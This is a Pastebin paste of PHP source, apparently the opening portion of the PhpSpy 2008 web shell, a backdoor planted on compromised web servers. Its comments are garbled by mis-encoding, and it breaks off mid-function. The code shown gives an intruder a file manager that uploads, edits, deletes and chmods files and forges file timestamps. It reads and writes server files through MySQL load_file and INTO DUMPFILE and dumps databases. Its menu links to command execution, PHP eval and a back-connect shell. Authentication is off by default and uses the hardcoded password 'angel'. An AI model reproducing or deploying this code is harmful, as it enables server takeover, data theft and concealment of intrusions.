Guest User

Untitled

a guest
Oct 30th, 2017
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 69.26 KB | None | 0 0
  1.  
  2. <?php
  3. error_reporting(7);
  4. @set_magic_quotes_runtime(0);
  5. ob_start();
  6. $mtime = explode(' ', microtime());
  7. $starttime = $mtime[1] + $mtime[0];
  8. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  9. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
  10. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  11. define('IS_COM', class_exists('COM') ? 1 : 0 );
  12. define('IS_GPC', get_magic_quotes_gpc());
  13. $dis_func = get_cfg_var('disable_functions');
  14. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  15. @set_time_limit(0);
  16.  
  17. foreach(array('_GET','_POST') as $_request) {
  18. foreach($$_request as $_key => $_value) {
  19. if ($_key{0} != '_') {
  20. if (IS_GPC) {
  21. $_value = s_array($_value);
  22. }
  23. $$_key = $_value;
  24. }
  25. }
  26. }
  27.  
  28. /*===================== ||-&#1028;+&#1092;+| =====================*/
  29. $admin = array();
  30. // -|+&#1105;-&#1096;-&#1082;|#-&#1099;-&#1097;+&#1076;, true +&#1082;-&#1096;-&#1082;-&#1097;+&#1076;, false +&#1082;+#+++ +&#1099;.--|&#1094;-&#1073;-&#1102;+&#1028;+|-&#1079;
  31. $admin['check'] = 0;
  32. // +&#1095;| -&#1096;-&#1082;|#-&#1099;-&#1097;+&#1076;,|&#1099;-|+-||-+|#-&#1099;
  33. $admin['pass'] = 'angel';
  34.  
  35. //+&#1095;- |+ cookie +&#1118;+|+|+&#1079;+-|+-&#1090;-&#1082;|&#1108;, +&#1028;||-+#++ |&#1075;, |&#1099;-|+---|&#1094;#&#1092;-+, +&#1105;+&#1028;|&#1099;#&#1075;|+-&#1084;+-
  36. // cookie |#+|
  37. $admin['cookiepre'] = '';
  38. // cookie +&#1118;+|+&#1028;
  39. $admin['cookiedomain'] = '';
  40. // cookie +&#1118;+|-++|
  41. $admin['cookiepath'] = '/';
  42. // cookie +--&#1079;|+
  43. $admin['cookielife'] = 86400;
  44. /*===================== +&#1092;+|+&#1089;- =====================*/
  45.  
  46. if ($charset == 'utf8') {
  47. header("content-Type: text/html; charset=utf-8");
  48. } elseif ($charset == 'big5') {
  49. header("content-Type: text/html; charset=big5");
  50. } elseif ($charset == 'gbk') {
  51. header("content-Type: text/html; charset=gbk");
  52. } elseif ($charset == 'latin1') {
  53. header("content-Type: text/html; charset=iso-8859-2");
  54. }
  55.  
  56. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  57. $timestamp = time();
  58.  
  59. /*===================== +&#1101;+|-&#1097;+&#1076; =====================*/
  60. if ($action == "logout") {
  61. scookie('phpspypass', '', -86400 * 365);
  62. p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
  63. p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
  64. exit;
  65. }
  66. if($admin['check']) {
  67. if ($doing == 'login') {
  68. if ($admin['pass'] == $password) {
  69. scookie('phpspypass', $password);
  70. p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
  71. p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
  72. exit;
  73. }
  74. }
  75. if ($_COOKIE['phpspypass']) {
  76. if ($_COOKIE['phpspypass'] != $admin['pass']) {
  77. loginpage();
  78. }
  79. } else {
  80. loginpage();
  81. }
  82. }
  83. /*===================== -&#1097;+&#1076;+&#1089;- =====================*/
  84.  
  85. $errmsg = '';
  86.  
  87. // #&#1097;+|PHPINFO
  88. if ($action == 'phpinfo') {
  89. if (IS_PHPINFO) {
  90. phpinfo();
  91. } else {
  92. $errmsg = 'phpinfo() function has non-permissible';
  93. }
  94. }
  95.  
  96. // --+++-+
  97. if ($doing == 'downfile' && $thefile) {
  98. if (!@file_exists($thefile)) {
  99. $errmsg = 'The file you want Downloadable was nonexistent';
  100. } else {
  101. $fileinfo = pathinfo($thefile);
  102. header('Content-type: application/x-'.$fileinfo['extension']);
  103. header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  104. header('Content-Length: '.filesize($thefile));
  105. @readfile($thefile);
  106. exit;
  107. }
  108. }
  109.  
  110. // +#++--++#++|- +|+&#1090;
  111. if ($doing == 'backupmysql' && !$saveasfile) {
  112. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  113. $table = array_flip($table);
  114. $result = q("SHOW tables");
  115. if (!$result) p('<h2>'.mysql_error().'</h2>');
  116. $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
  117. header('Content-type: application/unknown');
  118. header('Content-Disposition: attachment; filename='.$filename);
  119. $mysqldata = '';
  120. while ($currow = mysql_fetch_array($result)) {
  121. if (isset($table[$currow[0]])) {
  122. $mysqldata .= sqldumptable($currow[0]);
  123. }
  124. }
  125. mysql_close();
  126. exit;
  127. }
  128.  
  129. // -&#1080;| MYSQL--+++-+
  130. if($doing=='mysqldown'){
  131. if (!$dbname) {
  132. $errmsg = 'Please input dbname';
  133. } else {
  134. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  135. if (!file_exists($mysqldlfile)) {
  136. $errmsg = 'The file you want Downloadable was nonexistent';
  137. } else {
  138. $result = q("select load_file('$mysqldlfile');");
  139. if(!$result){
  140. q("DROP TABLE IF EXISTS tmp_angel;");
  141. q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  142. //+|-#+&#1092;|-+|#&#1101;-+++|-,##|&#1090;|&#1038;-+|-+&#1073;+++&#1101;+&#1028;# |&#1084;__angel_1111111111_eof__|-+-+ -##+-&#1098;+ |-|&#1097;+&#1038;
  143. q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  144. $result = q("select content from tmp_angel");
  145. q("DROP TABLE tmp_angel");
  146. }
  147. $row = @mysql_fetch_array($result);
  148. if (!$row) {
  149. $errmsg = 'Load file failed '.mysql_error();
  150. } else {
  151. $fileinfo = pathinfo($mysqldlfile);
  152. header('Content-type: application/x-'.$fileinfo['extension']);
  153. header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  154. header("Accept-Length: ".strlen($row[0]));
  155. echo $row[0];
  156. exit;
  157. }
  158. }
  159. }
  160. }
  161.  
  162. ?>
  163. <html>
  164. <head>
  165. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
  166. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
  167. <style type="text/css">
  168. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
  169. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
  170. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
  171. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
  172. a {color: #00f;text-decoration:underline;}
  173. a:hover{color: #f00;text-decoration:none;}
  174. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
  175. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
  176. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
  177. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
  178. .head td span{font-weight:normal;}
  179. form{margin:0;padding:0;}
  180. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  181. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  182. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  183. </style>
  184. <script type="text/javascript">
  185. function CheckAll(form) {
  186. for(var i=0;i<form.elements.length;i++) {
  187. var e = form.elements[i];
  188. if (e.name != 'chkall')
  189. e.checked = form.chkall.checked;
  190. }
  191. }
  192. function $(id) {
  193. return document.getElementById(id);
  194. }
  195. function goaction(act){
  196. $('goaction').action.value=act;
  197. $('goaction').submit();
  198. }
  199. </script>
  200. </head>
  201. <body style="margin:0;table-layout:fixed; word-break:break-all">
  202. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  203. <tr class="head">
  204. <td><span style="float:right;"><a href="http://www.alturks.com" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
  205. </tr>
  206. <tr class="alt1">
  207. <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
  208. <a href="javascript:goaction('logout');">Logout</a> |
  209. <a href="javascript:goaction('file');">File Manager</a> |
  210. <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
  211. <a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |
  212. <a href="javascript:goaction('shell');">Execute Command</a> |
  213. <a href="javascript:goaction('phpenv');">PHP Variable</a> |
  214. <a href="javascript:goaction('eval');">Eval PHP Code</a>
  215. <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
  216. </td>
  217. </tr>
  218. </table>
  219. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  220. <?php
  221.  
  222. formhead(array('name'=>'goaction'));
  223. makehide('action');
  224. formfoot();
  225.  
  226. $errmsg && m($errmsg);
  227.  
  228. // +&#1105;+&#1073;|#|#-++|
  229. !$dir && $dir = '.';
  230. $nowpath = getPath(SA_ROOT, $dir);
  231. if (substr($dir, -1) != '/') {
  232. $dir = $dir.'/';
  233. }
  234. $uedir = ue($dir);
  235.  
  236. if (!$action || $action == 'file') {
  237.  
  238. // +-|-|--||&#1097;+&#1038;
  239. $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
  240.  
  241. // ++| -+-+
  242. if ($doing == 'deldir' && $thefile) {
  243. if (!file_exists($thefile)) {
  244. m($thefile.' directory does not exist');
  245. } else {
  246. m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
  247. }
  248. }
  249.  
  250. // ||+&#1080;-+-+
  251. elseif ($newdirname) {
  252. $mkdirs = $nowpath.$newdirname;
  253. if (file_exists($mkdirs)) {
  254. m('Directory has already existed');
  255. } else {
  256. m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
  257. @chmod($mkdirs,0777);
  258. }
  259. }
  260.  
  261. // +-|&#1083;+-+
  262. elseif ($doupfile) {
  263. m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  264. }
  265.  
  266. // #&#1088;+&#1085;+-+
  267. elseif ($editfilename && $filecontent) {
  268. $fp = @fopen($editfilename,'w');
  269. m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
  270. @fclose($fp);
  271. }
  272.  
  273. // #&#1088;+&#1085;+-+ -&#1031;-+
  274. elseif ($pfile && $newperm) {
  275. if (!file_exists($pfile)) {
  276. m('The original file does not exist');
  277. } else {
  278. $newperm = base_convert($newperm,8,10);
  279. m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
  280. }
  281. }
  282.  
  283. // +-|
  284. elseif ($oldname && $newfilename) {
  285. $nname = $nowpath.$newfilename;
  286. if (file_exists($nname) || !file_exists($oldname)) {
  287. m($nname.' has already existed or original file does not exist');
  288. } else {
  289. m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
  290. }
  291. }
  292.  
  293. // +|+|+-+
  294. elseif ($sname && $tofile) {
  295. if (file_exists($tofile) || !file_exists($sname)) {
  296. m('The goal file has already existed or original file does not exist');
  297. } else {
  298. m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
  299. }
  300. }
  301.  
  302. // +--&#1073;-#+&#1092;
  303. elseif ($curfile && $tarfile) {
  304. if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  305. m('The goal file has already existed or original file does not exist');
  306. } else {
  307. $time = @filemtime($tarfile);
  308. m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  309. }
  310. }
  311.  
  312. // ++|&#1080;-&#1093;-#+&#1092;
  313. elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  314. if (!@file_exists($curfile)) {
  315. m(basename($curfile).' does not exist');
  316. } else {
  317. $time = strtotime("$year-$month-$day $hour:$minute:$second");
  318. m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  319. }
  320. }
  321.  
  322. // |&#1028;# --++
  323. elseif($doing == 'downrar') {
  324. if ($dl) {
  325. $dfiles='';
  326. foreach ($dl as $filepath => $value) {
  327. $dfiles.=$filepath.',';
  328. }
  329. $dfiles=substr($dfiles,0,strlen($dfiles)-1);
  330. $dl=explode(',',$dfiles);
  331. $zip=new PHPZip($dl);
  332. $code=$zip->out;
  333. header('Content-type: application/octet-stream');
  334. header('Accept-Ranges: bytes');
  335. header('Accept-Length: '.strlen($code));
  336. header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
  337. echo $code;
  338. exit;
  339. } else {
  340. m('Please select file(s)');
  341. }
  342. }
  343.  
  344. // + -+++| +-+
  345. elseif($doing == 'delfiles') {
  346. if ($dl) {
  347. $dfiles='';
  348. $succ = $fail = 0;
  349. foreach ($dl as $filepath => $value) {
  350. if (@unlink($filepath)) {
  351. $succ++;
  352. } else {
  353. $fail++;
  354. }
  355. }
  356. m('Deleted file have finished&#1075;&#1084;choose '.count($dl).' success '.$succ.' fail '.$fail);
  357. } else {
  358. m('Please select file(s)');
  359. }
  360. }
  361.  
  362. //#++&#1118;-&#1098;#-
  363. formhead(array('name'=>'createdir'));
  364. makehide('newdirname');
  365. makehide('dir',$nowpath);
  366. formfoot();
  367. formhead(array('name'=>'fileperm'));
  368. makehide('newperm');
  369. makehide('pfile');
  370. makehide('dir',$nowpath);
  371. formfoot();
  372. formhead(array('name'=>'copyfile'));
  373. makehide('sname');
  374. makehide('tofile');
  375. makehide('dir',$nowpath);
  376. formfoot();
  377. formhead(array('name'=>'rename'));
  378. makehide('oldname');
  379. makehide('newfilename');
  380. makehide('dir',$nowpath);
  381. formfoot();
  382. formhead(array('name'=>'fileopform'));
  383. makehide('action');
  384. makehide('opfile');
  385. makehide('dir');
  386. formfoot();
  387.  
  388. $free = @disk_free_space($nowpath);
  389. !$free && $free = 0;
  390. $all = @disk_total_space($nowpath);
  391. !$all && $all = 0;
  392. $used = $all-$free;
  393. $used_percent = @round(100/($all/$free),2);
  394. p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
  395.  
  396. ?>
  397. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  398. <form action="" method="post" id="godir" name="godir">
  399. <tr>
  400. <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
  401. <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
  402. <td nowrap><input class="bt" value="GO" type="submit"></td>
  403. </tr>
  404. </form>
  405. </table>
  406. <script type="text/javascript">
  407. function createdir(){
  408. var newdirname;
  409. newdirname = prompt('Please input the directory name:', '');
  410. if (!newdirname) return;
  411. $('createdir').newdirname.value=newdirname;
  412. $('createdir').submit();
  413. }
  414. function fileperm(pfile){
  415. var newperm;
  416. newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
  417. if (!newperm) return;
  418. $('fileperm').newperm.value=newperm;
  419. $('fileperm').pfile.value=pfile;
  420. $('fileperm').submit();
  421. }
  422. function copyfile(sname){
  423. var tofile;
  424. tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
  425. if (!tofile) return;
  426. $('copyfile').tofile.value=tofile;
  427. $('copyfile').sname.value=sname;
  428. $('copyfile').submit();
  429. }
  430. function rename(oldname){
  431. var newfilename;
  432. newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
  433. if (!newfilename) return;
  434. $('rename').newfilename.value=newfilename;
  435. $('rename').oldname.value=oldname;
  436. $('rename').submit();
  437. }
  438. function dofile(doing,thefile,m){
  439. if (m && !confirm(m)) {
  440. return;
  441. }
  442. $('filelist').doing.value=doing;
  443. if (thefile){
  444. $('filelist').thefile.value=thefile;
  445. }
  446. $('filelist').submit();
  447. }
  448. function createfile(nowpath){
  449. var filename;
  450. filename = prompt('Please input the file name:', '');
  451. if (!filename) return;
  452. opfile('editfile',nowpath + filename,nowpath);
  453. }
  454. function opfile(action,opfile,dir){
  455. $('fileopform').action.value=action;
  456. $('fileopform').opfile.value=opfile;
  457. $('fileopform').dir.value=dir;
  458. $('fileopform').submit();
  459. }
  460. function godir(dir,view_writable){
  461. if (view_writable) {
  462. $('godir').view_writable.value=1;
  463. }
  464. $('godir').dir.value=dir;
  465. $('godir').submit();
  466. }
  467. </script>
  468. <?php
  469. tbhead();
  470. p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  471. p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
  472. p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
  473. if ($view_writable) {
  474. p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
  475. } else {
  476. p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
  477. }
  478. p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
  479. if (IS_WIN && IS_COM) {
  480. $obj = new COM('scripting.filesystemobject');
  481. if ($obj && is_object($obj)) {
  482. $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
  483. foreach($obj->Drives as $drive) {
  484. if ($drive->DriveType == 2) {
  485. p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  486. } else {
  487. p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  488. }
  489. }
  490. }
  491. }
  492.  
  493. p('</td></tr></form>');
  494.  
  495. p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
  496.  
  497. //#&#1097;+|- +-++-|+-+ |--+-+
  498. $dirdata=array();
  499. $filedata=array();
  500.  
  501. if ($view_writable) {
  502. $dirdata = GetList($nowpath);
  503. } else {
  504. // -+-+--#&#1101;
  505. $dirs=@opendir($dir);
  506. while ($file=@readdir($dirs)) {
  507. $filepath=$nowpath.$file;
  508. if(@is_dir($filepath)){
  509. $dirdb['filename']=$file;
  510. $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  511. $dirdb['dirchmod']=getChmod($filepath);
  512. $dirdb['dirperm']=getPerms($filepath);
  513. $dirdb['fileowner']=getUser($filepath);
  514. $dirdb['dirlink']=$nowpath;
  515. $dirdb['server_link']=$filepath;
  516. $dirdb['client_link']=ue($filepath);
  517. $dirdata[]=$dirdb;
  518. } else {
  519. $filedb['filename']=$file;
  520. $filedb['size']=sizecount(@filesize($filepath));
  521. $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  522. $filedb['filechmod']=getChmod($filepath);
  523. $filedb['fileperm']=getPerms($filepath);
  524. $filedb['fileowner']=getUser($filepath);
  525. $filedb['dirlink']=$nowpath;
  526. $filedb['server_link']=$filepath;
  527. $filedb['client_link']=ue($filepath);
  528. $filedata[]=$filedb;
  529. }
  530. }// while
  531. unset($dirdb);
  532. unset($filedb);
  533. @closedir($dirs);
  534. }
  535. @sort($dirdata);
  536. @sort($filedata);
  537. $dir_i = '0';
  538. foreach($dirdata as $key => $dirdb){
  539. if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
  540. $thisbg = bg();
  541. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  542. p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
  543. p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
  544. p('<td nowrap>'.$dirdb['mtime'].'</td>');
  545. p('<td nowrap>--</td>');
  546. p('<td nowrap>');
  547. p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
  548. p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
  549. p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
  550. p('</tr>');
  551. $dir_i++;
  552. } else {
  553. if($dirdb['filename']=='..') {
  554. p('<tr class='.bg().'>');
  555. p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
  556. p('</tr>');
  557. }
  558. }
  559. }
  560.  
  561. p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
  562. p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
  563. makehide('action','file');
  564. makehide('thefile');
  565. makehide('doing');
  566. makehide('dir',$nowpath);
  567. $file_i = '0';
  568. foreach($filedata as $key => $filedb){
  569. if($filedb['filename']!='..' && $filedb['filename']!='.') {
  570. $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
  571. $thisbg = bg();
  572. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  573. p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
  574. p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
  575. p('<td nowrap>'.$filedb['mtime'].'</td>');
  576. p('<td nowrap>'.$filedb['size'].'</td>');
  577. p('<td nowrap>');
  578. p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
  579. p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
  580. p('<td nowrap>');
  581. p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
  582. p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
  583. p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
  584. p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
  585. p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
  586. p('</td></tr>');
  587. $file_i++;
  588. }
  589. }
  590. p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
  591. p('</form></table>');
  592. }// end dir
  593.  
  594. elseif ($action == 'sqlfile') {
  595. if($doing=="mysqlupload"){
  596. $file = $_FILES['uploadfile'];
  597. $filename = $file['tmp_name'];
  598. if (file_exists($savepath)) {
  599. m('The goal file has already existed');
  600. } else {
  601. if(!$filename) {
  602. m('Please choose a file');
  603. } else {
  604. $fp=@fopen($filename,'r');
  605. $contents=@fread($fp, filesize($filename));
  606. @fclose($fp);
  607. $contents = bin2hex($contents);
  608. if(!$upname) $upname = $file['name'];
  609. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  610. $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
  611. m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
  612. }
  613. }
  614. }
  615. ?>
  616. <script type="text/javascript">
  617. function mysqlfile(doing){
  618. if(!doing) return;
  619. $('doing').value=doing;
  620. $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  621. $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  622. $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  623. $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  624. $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  625. $('mysqlfile').charset.value=$('dbinfo').charset.value;
  626. $('mysqlfile').submit();
  627. }
  628. </script>
  629. <?php
  630. !$dbhost && $dbhost = 'localhost';
  631. !$dbuser && $dbuser = 'root';
  632. !$dbport && $dbport = '3306';
  633. $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  634. formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
  635. makehide('action','sqlfile');
  636. p('<p>');
  637. p('DBHost:');
  638. makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  639. p(':');
  640. makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  641. p('DBUser:');
  642. makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  643. p('DBPass:');
  644. makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  645. p('DBName:');
  646. makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
  647. p('DBCharset:');
  648. makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  649. p('</p>');
  650. formfoot();
  651. p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
  652. p('<h2>Upload file</h2>');
  653. p('<p><b>This operation the DB user must has FILE privilege</b></p>');
  654. p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
  655. p('<h2>Download file</h2>');
  656. p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
  657. makehide('dbhost');
  658. makehide('dbport');
  659. makehide('dbuser');
  660. makehide('dbpass');
  661. makehide('dbname');
  662. makehide('charset');
  663. makehide('doing');
  664. makehide('action','sqlfile');
  665. p('</form>');
  666. }
  667.  
  668. elseif ($action == 'sqladmin') {
  669. !$dbhost && $dbhost = 'localhost';
  670. !$dbuser && $dbuser = 'root';
  671. !$dbport && $dbport = '3306';
  672. $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  673. if(isset($dbhost)){
  674. $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  675. }
  676. if(isset($dbuser)) {
  677. $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  678. }
  679. if(isset($dbpass)) {
  680. $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  681. }
  682. if(isset($dbport)) {
  683. $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  684. }
  685. if(isset($dbname)) {
  686. $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  687. }
  688. if(isset($charset)) {
  689. $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  690. }
  691.  
  692. if ($doing == 'backupmysql' && $saveasfile) {
  693. if (!$table) {
  694. m('Please choose the table');
  695. } else {
  696. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  697. $table = array_flip($table);
  698. $fp = @fopen($path,'w');
  699. if ($fp) {
  700. $result = q('SHOW tables');
  701. if (!$result) p('<h2>'.mysql_error().'</h2>');
  702. $mysqldata = '';
  703. while ($currow = mysql_fetch_array($result)) {
  704. if (isset($table[$currow[0]])) {
  705. sqldumptable($currow[0], $fp);
  706. }
  707. }
  708. fclose($fp);
  709. $fileurl = str_replace(SA_ROOT,'',$path);
  710. m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  711. mysql_close();
  712. } else {
  713. m('Backup failed');
  714. }
  715. }
  716. }
  717. if ($insert && $insertsql) {
